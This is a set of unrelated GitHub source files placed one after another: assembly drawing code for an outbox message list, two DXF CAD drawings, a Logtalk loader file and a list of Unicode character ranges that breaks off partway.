%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLSpecScanGeometryHints method dynamic OutboxControlMessageListClass, MSG_SPEC_SCAN_GEOMETRY_HINTS .enter mov di, offset OutboxControlMessageListClass call ObjCallSuperNoLock DerefDI VisComp ornf ds:[di].VCI_geoDimensionAttrs, mask VCGDA_EXPAND_WIDTH_TO_FIT_PARENT or \ mask VCGDA_EXPAND_HEIGHT_TO_FIT_PARENT .leave ret OCMLSpecScanGeometryHints endm endif ; _RESPONDER_OUTBOX_CONTROL COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OCMLVisDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the edge markers (the funky vertical lines) thru our message items. CALLED BY: MSG_VIS_DRAW PASS: *ds:si = OutboxControlMessageListClass object ds:di = OutboxControlMessageListClass instance data ds:bx = OutboxControlMessageListClass object (same as *ds:si) es = segment of OutboxControlMessageListClass ax = message # cl = DrawFlags bp = GState handle RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- AY 2/ 2/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _RESPONDER_OUTBOX_CONTROL OCMLVisDraw method dynamic OutboxControlMessageListClass, MSG_VIS_DRAW ; ; Let superclass handle the bulk of the work. ; push bp mov di, offset OutboxControlMessageListClass call ObjCallSuperNoLock pop di ; ; Get the top and bottom bounds of the object. ; mov ax, MSG_VIS_GET_BOUNDS call ObjCallInstanceNoLock ; (ax, bp), (cx, dx) mov bx, bp ; bx = top mov ax, C_BLACK call GrSetLineColor ; ; Draw the vertical lines. ; segmov ds, dgroup, ax mov ax, ds:[mmSubjectRightBorder] call GrDrawVLine mov ax, ds:[mmDestinationRightBorder] call GrDrawVLine mov ax, ds:[mmTransMediumAbbrevRightBorder] call GrDrawVLine mov ax, ds:[mmAddrStateRightBorder] GOTO GrDrawVLine OCMLVisDraw endm endif ; _RESPONDER_OUTBOX_CONTROL OutboxUICode ends
{ "pile_set_name": "Github" }
999 dxfrw 0.5.10 0 SECTION 2 HEADER 9 $ACADVER 1 AC1021 9 $HANDSEED 5 20000 9 $DWGCODEPAGE 3 ANSI_1252 9 $INSBASE 10 0 20 0 30 0 9 $EXTMIN 10 0 20 0 30 0 9 $EXTMAX 10 0 20 0 30 0 9 $LIMMIN 10 0 20 0 9 $LIMMAX 10 420 20 297 9 $ORTHOMODE 70 0 9 $LTSCALE 40 1 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 0 9 $DIMASZ 40 2.5 9 $DIMLFAC 40 1 9 $DIMSCALE 40 1 9 $DIMEXO 40 0.625 9 $DIMEXE 40 1.25 9 $DIMTXT 40 2.5 9 $DIMTSZ 40 0 9 $DIMAUNIT 70 0 9 $DIMADEC 70 0 9 $DIMLUNIT 70 2 9 $DIMSTYLE 2 STANDARD 9 $DIMGAP 40 0.625 9 $DIMTIH 70 0 9 $LUNITS 70 2 9 $LUPREC 70 4 9 $AUNITS 70 0 9 $AUPREC 70 2 9 $SPLINESEGS 70 8 9 $SNAPSTYLE 70 0 9 $PINSBASE 10 0 20 0 30 0 9 $PLIMMIN 10 0 20 0 9 $PLIMMAX 10 210 20 297 9 $INSUNITS 70 0 9 $PSVPSCALE 40 1 0 ENDSEC 0 SECTION 2 CLASSES 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 5 8 330 0 100 AcDbSymbolTable 70 1 0 VPORT 5 31 330 2 100 AcDbSymbolTableRecord 100 AcDbViewportTableRecord 2 *ACTIVE 70 0 10 0 20 0 11 1 21 1 12 153.75 22 71.125 13 0 23 0 14 10 24 10 15 10 25 10 16 0 26 0 36 1 17 0 27 0 37 0 40 154.75 41 2.06785137318 42 50 43 0 44 0 50 0 51 0 71 0 72 100 73 1 74 3 75 0 76 1 77 0 78 0 281 0 65 1 110 0 120 0 130 0 111 1 121 0 131 0 112 0 122 1 132 0 79 0 146 0 348 10020 60 7 61 5 292 1 282 1 141 0 142 0 63 250 421 3358443 0 ENDTAB 0 TABLE 2 LTYPE 5 5 330 0 100 AcDbSymbolTable 70 4 0 LTYPE 5 14 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByBlock 70 0 3 72 65 73 0 40 0 0 LTYPE 5 15 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByLayer 70 0 3 72 65 73 0 40 0 0 LTYPE 5 16 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 Continuous 70 0 3 Solid line 72 65 73 0 40 0 0 LTYPE 5 32 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 6.35 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 33 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT2 70 0 3 Dot (.5x) ..................................... 72 65 73 2 40 3.175 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 34 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOTX2 70 0 3 Dot (2x) . . . . . . . . . . . . . 72 65 73 2 40 12.7 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 35 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 19.05 49 12.7 74 0 49 -6.35 74 0 0 LTYPE 5 36 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED2 70 0 3 Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 72 65 73 2 40 9.525 49 6.35 74 0 49 -3.175 74 0 0 LTYPE 5 37 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHEDX2 70 0 3 Dashed (2x) ____ ____ ____ ____ ____ ___ 72 65 73 2 40 38.1 49 25.4 74 0 49 -12.7 74 0 0 LTYPE 5 38 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT 70 0 3 Dash dot __ . __ . __ . __ . __ . __ . __ . __ 72 65 73 4 40 25.4 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 39 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT2 70 0 3 Dash dot (.5x) _._._._._._._._._._._._._._._. 72 65 73 4 40 12.7 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3A 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOTX2 70 0 3 Dash dot (2x) ____ . ____ . ____ . ___ 72 65 73 4 40 50.8 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3B 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE 70 0 3 Divide ____ . . ____ . . ____ . . ____ . . ____ 72 65 73 6 40 31.75 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3C 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE2 70 0 3 Divide (.5x) __..__..__..__..__..__..__..__.._ 72 65 73 6 40 15.875 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3D 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDEX2 70 0 3 Divide (2x) ________ . . ________ . . _ 72 65 73 6 40 63.5 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3E 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER 70 0 3 Border __ __ . __ __ . __ __ . __ __ . __ __ . 72 65 73 6 40 44.45 49 12.7 74 0 49 -6.35 74 0 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3F 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER2 70 0 3 Border (.5x) __.__.__.__.__.__.__.__.__.__.__. 72 65 73 6 40 22.225 49 6.35 74 0 49 -3.175 74 0 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 40 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDERX2 70 0 3 Border (2x) ____ ____ . ____ ____ . ___ 72 65 73 6 40 88.9 49 25.4 74 0 49 -12.7 74 0 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 41 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER 70 0 3 Center ____ _ ____ _ ____ _ ____ _ ____ _ ____ 72 65 73 4 40 50.8 49 31.75 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 0 LTYPE 5 42 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER2 70 0 3 Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___ 72 65 73 4 40 28.575 49 19.05 74 0 49 -3.175 74 0 49 3.175 74 0 49 -3.175 74 0 0 LTYPE 5 43 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTERX2 70 0 3 Center (2x) ________ __ ________ __ _____ 72 65 73 4 40 101.6 49 63.5 74 0 49 -12.7 74 0 49 12.7 74 0 49 -12.7 74 0 0 ENDTAB 0 TABLE 2 LAYER 5 2 330 0 100 AcDbSymbolTable 70 1 0 LAYER 5 10 330 2 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 0 70 0 62 7 6 CONTINUOUS 370 0 390 F 0 ENDTAB 0 TABLE 2 STYLE 5 3 330 0 100 AcDbSymbolTable 70 3 0 STYLE 5 44 330 2 100 AcDbSymbolTableRecord 100 AcDbTextStyleTableRecord 2 Standard 70 0 40 0 41 1 50 0 71 0 42 1 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 5 6 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 UCS 5 7 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 APPID 5 9 330 0 100 AcDbSymbolTable 70 1 0 APPID 5 12 330 9 100 AcDbSymbolTableRecord 100 AcDbRegAppTableRecord 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 5 A 330 0 100 AcDbSymbolTable 70 1 100 AcDbDimStyleTable 71 1 0 DIMSTYLE 105 45 330 A 100 AcDbSymbolTableRecord 100 AcDbDimStyleTableRecord 2 Standard 70 0 40 1 41 2.5 42 0.625 43 0.38 44 1.25 45 0 46 0 47 0 48 0 140 2.5 141 0.09 142 0 143 25.4 144 1 145 0 146 1 147 0.625 148 0 71 0 72 0 73 0 74 1 75 0 76 0 77 0 78 0 79 0 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 179 0 271 4 272 4 273 2 274 2 275 0 276 0 277 2 278 46 279 0 280 0 281 0 282 0 283 1 284 0 285 0 286 0 288 0 289 3 340 Standard 341 371 -2 372 -2 0 ENDTAB 0 TABLE 2 BLOCK_RECORD 5 1 330 0 100 AcDbSymbolTable 70 2 0 BLOCK_RECORD 5 1F 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Model_Space 70 0 280 1 281 0 0 BLOCK_RECORD 5 1E 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Paper_Space 70 0 280 1 281 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 5 20 330 1F 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Model_Space 70 0 10 0 20 0 30 0 3 *Model_Space 1 0 ENDBLK 5 21 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 BLOCK 5 1C 330 1B 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Paper_Space 70 0 10 0 20 0 30 0 3 *Paper_Space 1 0 ENDBLK 5 1D 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 ENDSEC 0 SECTION 2 ENTITIES 0 LWPOLYLINE 5 46 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbPolyline 90 7 70 1 43 0 10 -4.041452 20 7 10 0 20 0 10 0 20 4.62 10 25.958548 20 4.62 10 25.958548 20 9.38 10 0 20 9.38 10 0 20 14 0 ENDSEC 0 SECTION 2 OBJECTS 0 DICTIONARY 5 C 330 0 100 AcDbDictionary 281 1 3 ACAD_GROUP 350 D 0 DICTIONARY 5 D 330 C 100 AcDbDictionary 281 1 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
999 dxfrw 0.5.10 0 SECTION 2 HEADER 9 $ACADVER 1 AC1021 9 $HANDSEED 5 20000 9 $DWGCODEPAGE 3 ANSI_1252 9 $INSBASE 10 0 20 0 30 0 9 $EXTMIN 10 0 20 0 30 0 9 $EXTMAX 10 0 20 0 30 0 9 $LIMMIN 10 0 20 0 9 $LIMMAX 10 420 20 297 9 $ORTHOMODE 70 0 9 $LTSCALE 40 1 9 $TEXTSTYLE 7 STANDARD 9 $CLAYER 8 0 9 $DIMASZ 40 2.5 9 $DIMLFAC 40 1 9 $DIMSCALE 40 1 9 $DIMEXO 40 0.625 9 $DIMEXE 40 1.25 9 $DIMTXT 40 2.5 9 $DIMTSZ 40 0 9 $DIMAUNIT 70 0 9 $DIMADEC 70 0 9 $DIMLUNIT 70 2 9 $DIMSTYLE 2 STANDARD 9 $DIMGAP 40 0.625 9 $DIMTIH 70 0 9 $LUNITS 70 2 9 $LUPREC 70 4 9 $AUNITS 70 0 9 $AUPREC 70 2 9 $SPLINESEGS 70 8 9 $SNAPSTYLE 70 0 9 $PINSBASE 10 0 20 0 30 0 9 $PLIMMIN 10 0 20 0 9 $PLIMMAX 10 210 20 297 9 $INSUNITS 70 0 9 $PSVPSCALE 40 1 0 ENDSEC 0 SECTION 2 CLASSES 0 ENDSEC 0 SECTION 2 TABLES 0 TABLE 2 VPORT 5 8 330 0 100 AcDbSymbolTable 70 1 0 VPORT 5 31 330 2 100 AcDbSymbolTableRecord 100 AcDbViewportTableRecord 2 *ACTIVE 70 0 10 0 20 0 11 1 21 1 12 143.125 22 69.5 13 0 23 0 14 10 24 10 15 10 25 10 16 0 26 0 36 1 17 0 27 0 37 0 40 151.5 41 1.97194719472 42 50 43 0 44 0 50 0 51 0 71 0 72 100 73 1 74 3 75 0 76 1 77 0 78 0 281 0 65 1 110 0 120 0 130 0 111 1 121 0 131 0 112 0 122 1 132 0 79 0 146 0 348 10020 60 7 61 5 292 1 282 1 141 0 142 0 63 250 421 3358443 0 ENDTAB 0 TABLE 2 LTYPE 5 5 330 0 100 AcDbSymbolTable 70 4 0 LTYPE 5 14 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByBlock 70 0 3 72 65 73 0 40 0 0 LTYPE 5 15 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 ByLayer 70 0 3 72 65 73 0 40 0 0 LTYPE 5 16 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 Continuous 70 0 3 Solid line 72 65 73 0 40 0 0 LTYPE 5 32 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 6.35 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 33 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOT2 70 0 3 Dot (.5x) ..................................... 72 65 73 2 40 3.175 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 34 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DOTX2 70 0 3 Dot (2x) . . . . . . . . . . . . . 72 65 73 2 40 12.7 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 35 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED 70 0 3 Dot . . . . . . . . . . . . . . . . . . . . . . 72 65 73 2 40 19.05 49 12.7 74 0 49 -6.35 74 0 0 LTYPE 5 36 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHED2 70 0 3 Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 72 65 73 2 40 9.525 49 6.35 74 0 49 -3.175 74 0 0 LTYPE 5 37 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHEDX2 70 0 3 Dashed (2x) ____ ____ ____ ____ ____ ___ 72 65 73 2 40 38.1 49 25.4 74 0 49 -12.7 74 0 0 LTYPE 5 38 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT 70 0 3 Dash dot __ . __ . __ . __ . __ . __ . __ . __ 72 65 73 4 40 25.4 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 39 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOT2 70 0 3 Dash dot (.5x) _._._._._._._._._._._._._._._. 72 65 73 4 40 12.7 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3A 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DASHDOTX2 70 0 3 Dash dot (2x) ____ . ____ . ____ . ___ 72 65 73 4 40 50.8 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3B 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE 70 0 3 Divide ____ . . ____ . . ____ . . ____ . . ____ 72 65 73 6 40 31.75 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3C 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDE2 70 0 3 Divide (.5x) __..__..__..__..__..__..__..__.._ 72 65 73 6 40 15.875 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 3D 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 DIVIDEX2 70 0 3 Divide (2x) ________ . . ________ . . _ 72 65 73 6 40 63.5 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 3E 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER 70 0 3 Border __ __ . __ __ . __ __ . __ __ . __ __ . 72 65 73 6 40 44.45 49 12.7 74 0 49 -6.35 74 0 49 12.7 74 0 49 -6.35 74 0 49 0 74 0 49 -6.35 74 0 0 LTYPE 5 3F 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDER2 70 0 3 Border (.5x) __.__.__.__.__.__.__.__.__.__.__. 72 65 73 6 40 22.225 49 6.35 74 0 49 -3.175 74 0 49 6.35 74 0 49 -3.175 74 0 49 0 74 0 49 -3.175 74 0 0 LTYPE 5 40 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 BORDERX2 70 0 3 Border (2x) ____ ____ . ____ ____ . ___ 72 65 73 6 40 88.9 49 25.4 74 0 49 -12.7 74 0 49 25.4 74 0 49 -12.7 74 0 49 0 74 0 49 -12.7 74 0 0 LTYPE 5 41 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER 70 0 3 Center ____ _ ____ _ ____ _ ____ _ ____ _ ____ 72 65 73 4 40 50.8 49 31.75 74 0 49 -6.35 74 0 49 6.35 74 0 49 -6.35 74 0 0 LTYPE 5 42 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTER2 70 0 3 Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___ 72 65 73 4 40 28.575 49 19.05 74 0 49 -3.175 74 0 49 3.175 74 0 49 -3.175 74 0 0 LTYPE 5 43 330 5 100 AcDbSymbolTableRecord 100 AcDbLinetypeTableRecord 2 CENTERX2 70 0 3 Center (2x) ________ __ ________ __ _____ 72 65 73 4 40 101.6 49 63.5 74 0 49 -12.7 74 0 49 12.7 74 0 49 -12.7 74 0 0 ENDTAB 0 TABLE 2 LAYER 5 2 330 0 100 AcDbSymbolTable 70 1 0 LAYER 5 10 330 2 100 AcDbSymbolTableRecord 100 AcDbLayerTableRecord 2 0 70 0 62 7 6 CONTINUOUS 370 0 390 F 0 ENDTAB 0 TABLE 2 STYLE 5 3 330 0 100 AcDbSymbolTable 70 3 0 STYLE 5 44 330 2 100 AcDbSymbolTableRecord 100 AcDbTextStyleTableRecord 2 Standard 70 0 40 0 41 1 50 0 71 0 42 1 3 txt 4 0 ENDTAB 0 TABLE 2 VIEW 5 6 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 UCS 5 7 330 0 100 AcDbSymbolTable 70 0 0 ENDTAB 0 TABLE 2 APPID 5 9 330 0 100 AcDbSymbolTable 70 1 0 APPID 5 12 330 9 100 AcDbSymbolTableRecord 100 AcDbRegAppTableRecord 2 ACAD 70 0 0 ENDTAB 0 TABLE 2 DIMSTYLE 5 A 330 0 100 AcDbSymbolTable 70 1 100 AcDbDimStyleTable 71 1 0 DIMSTYLE 105 45 330 A 100 AcDbSymbolTableRecord 100 AcDbDimStyleTableRecord 2 Standard 70 0 40 1 41 2.5 42 0.625 43 0.38 44 1.25 45 0 46 0 47 0 48 0 140 2.5 141 0.09 142 0 143 25.4 144 1 145 0 146 1 147 0.625 148 0 71 0 72 0 73 0 74 1 75 0 76 0 77 0 78 0 79 0 170 0 171 2 172 0 173 0 174 0 175 0 176 0 177 0 178 0 179 0 271 4 272 4 273 2 274 2 275 0 276 0 277 2 278 46 279 0 280 0 281 0 282 0 283 1 284 0 285 0 286 0 288 0 289 3 340 Standard 341 371 -2 372 -2 0 ENDTAB 0 TABLE 2 BLOCK_RECORD 5 1 330 0 100 AcDbSymbolTable 70 2 0 BLOCK_RECORD 5 1F 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Model_Space 70 0 280 1 281 0 0 BLOCK_RECORD 5 1E 330 1 100 AcDbSymbolTableRecord 100 AcDbBlockTableRecord 2 *Paper_Space 70 0 280 1 281 0 0 ENDTAB 0 ENDSEC 0 SECTION 2 BLOCKS 0 BLOCK 5 20 330 1F 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Model_Space 70 0 10 0 20 0 30 0 3 *Model_Space 1 0 ENDBLK 5 21 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 BLOCK 5 1C 330 1B 100 AcDbEntity 8 0 100 AcDbBlockBegin 2 *Paper_Space 70 0 10 0 20 0 30 0 3 *Paper_Space 1 0 ENDBLK 5 1D 330 1F 100 AcDbEntity 8 0 100 AcDbBlockEnd 0 ENDSEC 0 SECTION 2 ENTITIES 0 LINE 5 46 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 0 20 9.5 11 0 21 0 0 LINE 5 47 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 -2.5 20 12 11 0 21 9.5 0 LINE 5 48 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 2.5 20 12 11 0 21 9.5 0 LWPOLYLINE 5 49 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbPolyline 90 3 70 0 43 0 10 -2.5 20 14.5 10 0 20 12 10 2.5 20 14.5 0 LINE 5 4A 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 60 20 9.5 11 60 21 0 0 LINE 5 4B 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 57.5 20 12 11 60 21 9.5 0 LINE 5 4C 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 62.5 20 12 11 60 21 9.5 0 LWPOLYLINE 5 4D 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbPolyline 90 3 70 0 43 0 10 57.5 20 14.5 10 60 20 12 10 62.5 20 14.5 0 LWPOLYLINE 5 4E 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbPolyline 90 4 70 1 43 0 10 26 20 32 10 26 20 23.789474 10 34 20 23.789474 10 34 20 32 0 LINE 5 4F 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 34 20 27.894737 11 60 21 27.894737 0 LINE 5 50 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 0 20 27.894737 11 26 21 27.894737 0 LINE 5 51 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 0 20 27.894737 11 0 21 12.5 0 LINE 5 52 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbLine 10 60 20 27.894737 11 60 21 12.5 0 CIRCLE 5 53 100 AcDbEntity 8 0 6 CONTINUOUS 62 7 370 70 100 AcDbCircle 10 10 20 28 40 2.5 0 ENDSEC 0 SECTION 2 OBJECTS 0 DICTIONARY 5 C 330 0 100 AcDbDictionary 281 1 3 ACAD_GROUP 350 D 0 DICTIONARY 5 D 330 C 100 AcDbDictionary 281 1 0 ENDSEC 0 EOF
{ "pile_set_name": "Github" }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % This file is part of Logtalk <https://logtalk.org/> % Copyright 1998-2020 Paulo Moura <pmoura@logtalk.org> % % Licensed under the Apache License, Version 2.0 (the "License"); % you may not use this file except in compliance with the License. % You may obtain a copy of the License at % % http://www.apache.org/licenses/LICENSE-2.0 % % Unless required by applicable law or agreed to in writing, software % distributed under the License is distributed on an "AS IS" BASIS, % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % See the License for the specific language governing permissions and % limitations under the License. % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- initialization( logtalk_load(roles) ).
{ "pile_set_name": "Github" }
0020..007E 00A0..0377 037A..037E 0384..038A 038C..038C 038E..03A1 03A3..0527 0531..0556 0559..055F 0561..0587 0589..058A 058F..058F 0591..05C7 05D0..05EA 05F0..05F4 0600..0604 0606..061B 061E..070D 070F..074A 074D..07B1 07C0..07FA 0800..082D 0830..083E 0840..085B 085E..085E 08A0..08A0 08A2..08AC 08E4..08FE 0900..0977 0979..097F 0981..0983 0985..098C 098F..0990 0993..09A8 09AA..09B0 09B2..09B2 09B6..09B9 09BC..09C4 09C7..09C8 09CB..09CE 09D7..09D7 09DC..09DD 09DF..09E3 09E6..09FB 0A01..0A03 0A05..0A0A 0A0F..0A10 0A13..0A28 0A2A..0A30 0A32..0A33 0A35..0A36 0A38..0A39 0A3C..0A3C 0A3E..0A42 0A47..0A48 0A4B..0A4D 0A51..0A51 0A59..0A5C 0A5E..0A5E 0A66..0A75 0A81..0A83 0A85..0A8D 0A8F..0A91 0A93..0AA8 0AAA..0AB0 0AB2..0AB3 0AB5..0AB9 0ABC..0AC5 0AC7..0AC9 0ACB..0ACD 0AD0..0AD0 0AE0..0AE3 0AE6..0AF1 0B01..0B03 0B05..0B0C 0B0F..0B10 0B13..0B28 0B2A..0B30 0B32..0B33 0B35..0B39 0B3C..0B44 0B47..0B48 0B4B..0B4D 0B56..0B57 0B5C..0B5D 0B5F..0B63 0B66..0B77 0B82..0B83 0B85..0B8A 0B8E..0B90 0B92..0B95 0B99..0B9A 0B9C..0B9C 0B9E..0B9F 0BA3..0BA4 0BA8..0BAA 0BAE..0BB9 0BBE..0BC2 0BC6..0BC8 0BCA..0BCD 0BD0..0BD0 0BD7..0BD7 0BE6..0BFA 0C01..0C03 0C05..0C0C 0C0E..0C10 0C12..0C28 0C2A..0C33 0C35..0C39 0C3D..0C44 0C46..0C48 0C4A..0C4D 0C55..0C56 0C58..0C59 0C60..0C63 0C66..0C6F 0C78..0C7F 0C82..0C83 0C85..0C8C 0C8E..0C90 0C92..0CA8 0CAA..0CB3 0CB5..0CB9 0CBC..0CC4 0CC6..0CC8 0CCA..0CCD 0CD5..0CD6 0CDE..0CDE 0CE0..0CE3 0CE6..0CEF 0CF1..0CF2 0D02..0D03 0D05..0D0C 0D0E..0D10 0D12..0D3A 0D3D..0D44 0D46..0D48 0D4A..0D4E 0D57..0D57 0D60..0D63 0D66..0D75 0D79..0D7F 0D82..0D83 0D85..0D96 0D9A..0DB1 0DB3..0DBB 0DBD..0DBD 0DC0..0DC6 